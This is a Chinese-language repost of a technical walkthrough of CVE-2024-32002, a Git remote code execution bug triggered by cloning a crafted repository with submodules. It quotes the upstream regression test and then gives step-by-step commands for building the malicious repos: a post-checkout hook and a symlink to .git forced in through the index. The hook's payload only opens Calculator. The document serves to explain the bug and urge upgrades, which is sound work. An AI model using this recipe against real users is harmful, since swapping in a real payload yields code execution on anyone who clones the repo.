-
-github.blog,2024 年 5 月 14 日
Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
升级它以避免通过克隆恶意 repo 来执行远程代码。
tl;dr
可以以利用 Git 中的错误的方式制作带有子模块的存储库,从而欺骗 Git 将文件写入 .git/ 目录而不是子模块的工作树。这允许编写一个将在克隆操作仍在运行时执行的Hook,使用户没有机会检查正在执行的代码。
-
- Github 安全公告 ( GHSA-8h77-4q3w-gfgv )
https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
因此,只需克隆特制的 repo 即可完成远程代码执行 (RCE)。
分析
在CVE-2024-32002的 NIST 数据库中,您会找到对代码提交的引用,其中修复了此错误。让我们去那里,这是提交链接。
Git 提交修复问题
如果你检查提交,有两个文件 -
-
builtin/submodule--helper.c
-
t/t7406-submodule-update.sh
第二个文件(t/t7406-submodule-update.sh),包含确保在 git 的后续版本中自动检查此错误的测试。
它的做法是tell.tale在当前目录中创建一个文件,如果 git 中存在错误,并且执行了代码,则在克隆后,该文件应该在测试结束时存在。这就是整个测试用例的目的。
我们利用它来创建我们的漏洞,在本例中为恶意 repo,当克隆时会在受害者的机器上执行代码。
让我们深入研究代码 -
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
下面是代码的分解以及每个部分的详细解释。
1.测试设置:
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS
'submodule paths must not follow symlinks' '
此行开始一个新的测试用例。test_expect_success是 Git 测试框架中使用的函数。测试标有 和CASE_INSENSITIVE_FS,SYMLINKS表示它与不区分大小写的文件系统和支持符号链接的系统相关。测试描述为“子模块路径不得遵循符号链接”。
2.全局配置:
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
这些命令设置全局 Git 配置:
-
protocol.file.allow always允许该file://协议进行 Git 操作。
-
core.symlinks true确保 Git 使用符号链接,特别是与 Windows 系统相关的。
-
之所以需要这样做,是因为这是一个独立的测试,无需启动 HTTP 服务器。然而,在实际场景中,如果子模块只是托管在公共网站上,则不需要这样做。
3.定义 Tell-tale 文件的路径:
tell_tale_path="$PWD/tell.tale" &&
-
这会将一个变量设置tell_tale_path为当前目录中名为的文件tell.tale,该文件将用于检测后检出hook是否运行。
4.初始化存储库(hook)并创建hook:
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
-
初始化一个名为 的新 Git 存储库hook。
-
导航到hook目录。
-
创建目录结构y/hooks。
-
编写一个post-checkout输出HOOK-RUN并写入hook-run的hook脚本tell_tale_path。
-
添加并提交post-checkouthook。
5.设置hook存储库路径:
hook_repo_path="$(pwd)/hook" &&
将变量设置hook_repo_path为存储库的绝对路径hook。
6.初始化另一个存储库(captain)并添加子模块:
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
-
初始化一个名为 的新 Git 存储库captain。
-
导航到captain目录。
-
将存储库作为名为 的hook子模块添加。A/modules/xx/y
-
提交子模块的添加。
7.创建到目录的符号链接.git:
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
-
在本节中,测试手工制作.git文件夹的符号链接并将其更新到 git index。
-
Git 索引是保存暂存内容的地方。您可以在此处阅读更多信息https://stackoverflow.com/a/4086986。
-
dotgit.txt创建一个包含字符串的文件.git。
-
从 创建一个 Git blob 对象dotgit.txt并将其哈希存储在中dot-git.hash。
-
为使用来自的哈希的符号链接(模式120000)准备一个索引条目。.gitdot-git.hash
-
使用此条目更新 Git 索引,然后提交符号链接的添加。
8.确保 Tell-tale 文件不存在并测试克隆:
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
-
检查tell_tale_path不存在。
-
尝试将captain存储库递归克隆到新目录中hooked。克隆操作预计会失败。
-
验证错误消息是否包含“目录非空”。
-
Ensurestell_tale_path仍然不存在,确认hook没有运行。
从修复中重建错误
现在,测试几乎已经完成了整个漏洞利用,只是编写它时无需实际创建 git repo,托管在任何流行的 git 服务上。我们将进行一些修改,并指导您在 github.com 托管的 git repos 上重新创建整个设置。
1.创建两个空的 repos -captain和hook。
2.git clone将上述每一个复制到您的本地机器上。
git clone 两个仓库
3.进入hook目录 -并使用命令 -cd hook创建目录- 。y/hooksmkdir -p y/hooks
4.hooks现在在文件夹内的新目录中创建一个文件y,名称为 - post-checkout- touch ./y/hooks/post-checkout。现在目录结构应该是这样的 -
现在我们要创建特定名称的文件的原因post-checkout是因为post-checkout它是一个git hook。因此,使用 git hooks ,你可以在发生某些重要操作时执行自定义脚本,例如在本例中,当用户在其机器上签出代码时。
5.在./y/hooks/post-checkout文件中添加此代码片段 -
#!/bin/sh
open -a Calculator
在 Mac 上执行上述脚本时,会打开一个计算器。在 Windows 上,有效载荷将更改为 -
#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"
6. 让我们使其post-checkout可执行 - git update-index --chmod=+x y/hooks/post-checkout
7. 现在暂存更改,提交更改并推送 - git add . && git commit -m post-checkout && git push origin main。
现在我们已经完成了hook的准备。
创建 captain repo
cloned这是受害者获取的 repo ,hook其子模块为 repo。让我们看看如何准备这个 repo。
1.进入captain我们之前克隆的仓库
2.hook使用以下命令将 repo添加为此 repo 中的子模块
git submodule add --name x/y "git@github.com:SecureMyOrg/hook.git" A/modules/x
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info
5. 我们将使用此index.info文件通过精心制作的有效负载更新 git 索引index.info脚本中使用的文件结构经过特殊格式化,可使用符号链接条目更新 Git 索引。让我们分解格式并了解其组成部分:
结构index.info
其中的每一行index.info代表一个要添加到 Git 索引的条目。每行的格式为:
<mode> <object hash> <stage>t<path>
在哪里:
-
<mode>:文件模式,表示文件的类型及其权限。对于符号链接,这是120000。
-
<object hash>:Git 对象数据库中对象的 SHA-1 哈希值。这是一个 40 个字符的十六进制字符串,用于唯一标识文件或符号链接目标的内容。
-
<stage>:阶段编号,用于处理合并冲突。适用0于普通条目。
-
<path>:相对于存储库工作目录根目录的文件路径。
示例细分
index.info以下是脚本中的示例行:
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info
让我们详细分析一下:
1.模式 (120000):
-
120000是 Git 中符号链接的文件模式。
-
它表明该条目是一个符号链接。
2.对象哈希(%s):
-
该占位符 ( %s) 由 的实际对象哈希值替换dot-git.hash。
-
哈希唯一地标识了文件的内容(在本例中为字符串.git)。
3.阶段 (0):
-
0表示正常阶段,意味着该条目没有合并冲突。
4.路径 (a):
-
a是符号链接在存储库中的放置路径。
-
在脚本上下文中,这只是一个占位符,通常是一个有效的文件路径。
完整示例
让我们将这一切与一个假设的哈希放在一起:
假设dot-git.hash包含e69de29bb2d1d6434b8b29ae775ad8c2e48c5391。该index.info行将是:
120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 a
让我们看看当前索引。这可以使用命令 - 来完成git ls-files --stage。
git 当前索引和状态
该git update-index --index-info命令会读取index.info并相应地更新 Git 索引。此命令用于使用指定的模式、哈希和路径暂存索引中的符号链接条目。
git 更新索引
6.现在让我们将所有内容提交到 repo 并推送它。
git commit -m "Add symlink to .git"
git push origin main
完成上述操作后,你应该得到以下目录结构:
两个存储库的文件结构
开演时间
现在我们已准备就绪。让我们看看实际效果。为此,我们只需递归 git clonecaptain存储库。以下是我们可以执行的操作
git clone --recursive [email protected]:SecureMyOrg/captain.git hooked
影响
任何克隆特制存储库的人都可以在不知情的情况下执行恶意代码。因此,只需克隆存储库即可实现远程代码执行。
更新
为了保证您的系统安全,请升级git到最新版本。
谢谢!希望你喜欢阅读这篇文章并学到一些东西。
Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locally
https://securemyorg.com/blogs/git-rce-cve-2024-32002/
原文始发于微信公众号(Ots安全):Git RCE - CVE 2024-32002 | 技术分析和本地复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论